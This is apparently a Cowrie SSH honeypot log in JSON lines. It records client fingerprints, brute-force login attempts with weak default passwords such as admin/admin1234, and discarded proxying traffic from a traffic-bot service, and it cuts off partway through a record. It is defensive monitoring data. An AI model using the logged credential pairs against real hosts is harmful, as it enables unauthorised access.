{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:09:53.730978Z","src_ip":"91.92.40.36","session":"6486220e74bd","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:09:54.824247Z","src_ip":"173.208.188.210","session":"64bcfd2d2c52","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"23.175.50.52","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:09:55.227372Z","session":"626e5286eab7","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:09:55.287743Z","src_ip":"23.175.50.52","session":"626e5286eab7","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 14_11) AppleWebKit/601.1.27 (KHTML, like Gecko) Version/9.1.2 Safari/601.1.27\\r\\nConnection: keep-alive\\r\\nContent-Length: 1176\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=V21WdzxieEQzM3VXam9UJg%3D%3Di2Msqkll0tv24JIrstbaTBxpEMpmlpmoBW%2BWMBYeE3jO2rQ%2B5nnqyL7tbe1agj6YYOdMhtSYMo0JK%2BOBbXttT1JyLct9dY6rNV6%2FnHoYUxqczZPCxaqFmKtjRu4F2YYvw2wp%2BTCfFgC8h1lgFmkIazDpv8hUdaWUO4zuAWs69OZlWi%2FcGn3tPSk78vLz8IlYQxR%2Fa5OpNYXqRQpv0ZbAZKeJlTonydOg720o4Te74V7evDCNOefOwVKBaU%2FeRLOhgATua5XsDZRIjCH%2F0n38nUrPiVFOi74trmHw%2B9t36wP3NYHQFSH8wnQbwVoRE5QGxu%2FN1VlNKIffuh28xXwRFEvJ%2BomOX6fZ0%2F5IliPtemGmLXTwrX7%2BhS%2BhZEI%2Fru20Er7EPh0JpwD13RRpGZUIrAqCajoIU7OjXIRzybbumWZwIUfHgxAq1ikaZ4uQRg8sMQ0%2FtoTWDGY43zdc1ImqY%2Bi4y9lqVCb4NHlerOekDbfwpWEyN7eE7oOH%2FS2VxVhFUa64hGzvEVWs%2F%2F5ISpU3nDQZXmUPKlAJosLV%2Fi51E4XBX0%2BK0BP%2BihU%2BuEAg%2BcX5XKzUHRITA8Dei25J%2Fc0HRjlRw%2BY1vr6Myxs9XfNDPuG95S1qEqnTmW0PYuBI89AsNaDe4EFOpjc6%2BCJCYhwKFyiOfg0ry4iZj1zPBfU1HI3J0SmVdukTkm1x0Fr5M4I0xthpN8SJc29Omizr2ycuMCQCtXgDI5T8gGHPMhFaaoNorNtyXKqCxkjOQfPfYe8TeWzaNbtBQUBaGgo3gKdRi%2Fc7lgYRoAesFgEdTj3UORfCeOB9bxkv7Jflstia4KjmOnkw9IWmkEDVpurejmcHRPlr8r5WM%2BJ13AQ2Ef%2FMlbY4GCIbS94jyTyC%2F6AimMm1pUl8klBpDAZxmc8KwR0zQgANsPL7m6kMKO5n0bXZB%2F0UCtGHy20sptnjqVP3sdR%2FLTetR7mdIDLcrtbayaCFLS71nvXMISoUmnlCyMp8SrMpG8jJ9fgTjU1XUS%2BxNE%2FG54xK1KFU2%2FDkgCaWYSnxmvRMR2gKlFfCbEydH1PGGks%3D'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 14_11) AppleWebKit/601.1.27 (KHTML, like Gecko) Version/9.1.2 Safari/601.1.27\\r\\nConnection: keep-alive\\r\\nContent-Length: 1176\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=V21WdzxieEQzM3VXam9UJg%3D%3Di2Msqkll0tv24JIrstbaTBxpEMpmlpmoBW%2BWMBYeE3jO2rQ%2B5nnqyL7tbe1agj6YYOdMhtSYMo0JK%2BOBbXttT1JyLct9dY6rNV6%2FnHoYUxqczZPCxaqFmKtjRu4F2YYvw2wp%2BTCfFgC8h1lgFmkIazDpv8hUdaWUO4zuAWs69OZlWi%2FcGn3tPSk78vLz8IlYQxR%2Fa5OpNYXqRQpv0ZbAZKeJlTonydOg720o4Te74V7evDCNOefOwVKBaU%2FeRLOhgATua5XsDZRIjCH%2F0n38nUrPiVFOi74trmHw%2B9t36wP3NYHQFSH8wnQbwVoRE5QGxu%2FN1VlNKIffuh28xXwRFEvJ%2BomOX6fZ0%2F5IliPtemGmLXTwrX7%2BhS%2BhZEI%2Fru20Er7EPh0JpwD13RRpGZUIrAqCajoIU7OjXIRzybbumWZwIUfHgxAq1ikaZ4uQRg8sMQ0%2FtoTWDGY43zdc1ImqY%2Bi4y9lqVCb4NHlerOekDbfwpWEyN7eE7oOH%2FS2VxVhFUa64hGzvEVWs%2F%2F5ISpU3nDQZXmUPKlAJosLV%2Fi51E4XBX0%2BK0BP%2BihU%2BuEAg%2BcX5XKzUHRITA8Dei25J%2Fc0HRjlRw%2BY1vr6Myxs9XfNDPuG95S1qEqnTmW0PYuBI89AsNaDe4EFOpjc6%2BCJCYhwKFyiOfg0ry4iZj1zPBfU1HI3J0SmVdukTkm1x0Fr5M4I0xthpN8SJc29Omizr2ycuMCQCtXgDI5T8gGHPMhFaaoNorNtyXKqCxkjOQfPfYe8TeWzaNbtBQUBaGgo3gKdRi%2Fc7lgYRoAesFgEdTj3UORfCeOB9bxkv7Jflstia4KjmOnkw9IWmkEDVpurejmcHRPlr8r5WM%2BJ13AQ2Ef%2FMlbY4GCIbS94jyTyC%2F6AimMm1pUl8klBpDAZxmc8KwR0zQgANsPL7m6kMKO5n0bXZB%2F0UCtGHy20sptnjqVP3sdR%2FLTetR7mdIDLcrtbayaCFLS71nvXMISoUmnlCyMp8SrMpG8jJ9fgTjU1XUS%2BxNE%2FG54xK1KFU2%2FDkgCaWYSnxmvRMR2gKlFfCbEydH1PGGks%3D'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:09:55.290964Z","src_ip":"23.175.50.52","session":"626e5286eab7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"user@2020","message":"login attempt [user/user@2020] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:09:55.379085Z","src_ip":"91.92.40.36","session":"6486220e74bd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"master","password":"54321","message":"login attempt [master/54321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:09:56.183102Z","src_ip":"91.92.40.36","session":"88eaf84c58a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.4","message":"Connection lost after 5.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:09:57.026957Z","src_ip":"91.92.40.36","session":"6486220e74bd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.46.222.137","src_port":51734,"dst_ip":"10.17.0.5","dst_port":22,"session":"a4ef52bd2780","protocol":"ssh","message":"New connection: 38.46.222.137:51734 (10.17.0.5:22) [session: a4ef52bd2780]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:09:58.282593Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:09:58.405060Z","src_ip":"38.46.222.137","session":"a4ef52bd2780","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:09:58.439017Z","src_ip":"38.46.222.137","session":"a4ef52bd2780","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"12.5","message":"Connection lost after 12.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:09:58.505807Z","src_ip":"91.92.40.36","session":"88eaf84c58a2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":37796,"dst_ip":"159.203.135.109","dst_port":22,"session":"1a0e28755375","protocol":"ssh","message":"New connection: 91.92.40.36:37796 (159.203.135.109:22) [session: 1a0e28755375]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:09:59.622411Z"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:09:59.738359Z","src_ip":"38.46.222.137","session":"a4ef52bd2780","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:10:00.613100Z","src_ip":"91.92.40.36","session":"1a0e28755375","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:10:00.616484Z","src_ip":"91.92.40.36","session":"1a0e28755375","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"23.175.50.52","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:10:01.452248Z","session":"626e5286eab7","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:10:01.512433Z","src_ip":"23.175.50.52","session":"626e5286eab7","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xee\\x01\\xf4\\x01\\xc7\\xd9\\xdev\\x14y6@G\\x0bS\\xb2\\x87\\xcch\\x13\\x12\\xfb)\\x15\\xed\\x80\\x80\\xb2\\xfb\\xf3\\xd9\\xb1 S\\xfe\\x021\\xf3Y\\x06\\x080\\xdbd\\x89\\x84\\xa5\\xc0\\xc9Q4\\xec\\xdeb\"\\x86\\t\\x0cEop\\x18\\xad^\\'\\x00 ::\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\x8a\\x8a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08**\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)**\\x00\\x01\\x00\\x00\\x1d\\x00 V\\xa3^\\xe4\\x14\\xe9\\xcau$B\\xd2\\xee\\x8e\\xb6\\x1bx\\x98\\xf7|\\xfbbkKI\\x06\\xf0X\\xf1v\\x91Zt\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x1a\\x1a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02ZZ\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xee\\x01\\xf4\\x01\\xc7\\xd9\\xdev\\x14y6@G\\x0bS\\xb2\\x87\\xcch\\x13\\x12\\xfb)\\x15\\xed\\x80\\x80\\xb2\\xfb\\xf3\\xd9\\xb1 S\\xfe\\x021\\xf3Y\\x06\\x080\\xdbd\\x89\\x84\\xa5\\xc0\\xc9Q4\\xec\\xdeb\"\\x86\\t\\x0cEop\\x18\\xad^\\'\\x00 ::\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\x8a\\x8a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08**\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)**\\x00\\x01\\x00\\x00\\x1d\\x00 V\\xa3^\\xe4\\x14\\xe9\\xcau$B\\xd2\\xee\\x8e\\xb6\\x1bx\\x98\\xf7|\\xfbbkKI\\x06\\xf0X\\xf1v\\x91Zt\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x1a\\x1a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02ZZ\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:10:01.516580Z","src_ip":"23.175.50.52","session":"626e5286eab7","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"23.175.50.52","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:10:01.588066Z","session":"626e5286eab7","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:10:01.764656Z","src_ip":"23.175.50.52","session":"626e5286eab7","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03d\\x9f6\\xc8\\xf3\\x88R\\t>C\\xd6\\x1ca\\xed\\xe5\\xda\\xaa\\xa1V\\xae\\x80WR\\x82\\x9fX\\xb6#L\\x1a\\xbe\\xe9 &\\x90H\\x8d\\x8f\\x8a^\\x9d\\xe7K\\xbbO_kzM\\xb6R\\x86\\xbb\\x9a\\x9fm\\xcf\\xcd\\xa4o\\xe1P@\\x05^\\x00\"\\xfa\\xfa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91::\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x9a\\x9a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x9a\\x9a\\x00\\x01\\x00\\x00\\x1d\\x00 \\xed\\xb6\\xa3uF\\xb7S\\x1c$,\\xe6 \\xd4\\xfa:\\xac#\\xbd\\xc6\\x8c\\xb2s \\x85\\x18[-\\xb5\\x16\\x1c\\xb2\\n\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xaa\\xaa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02JJ\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\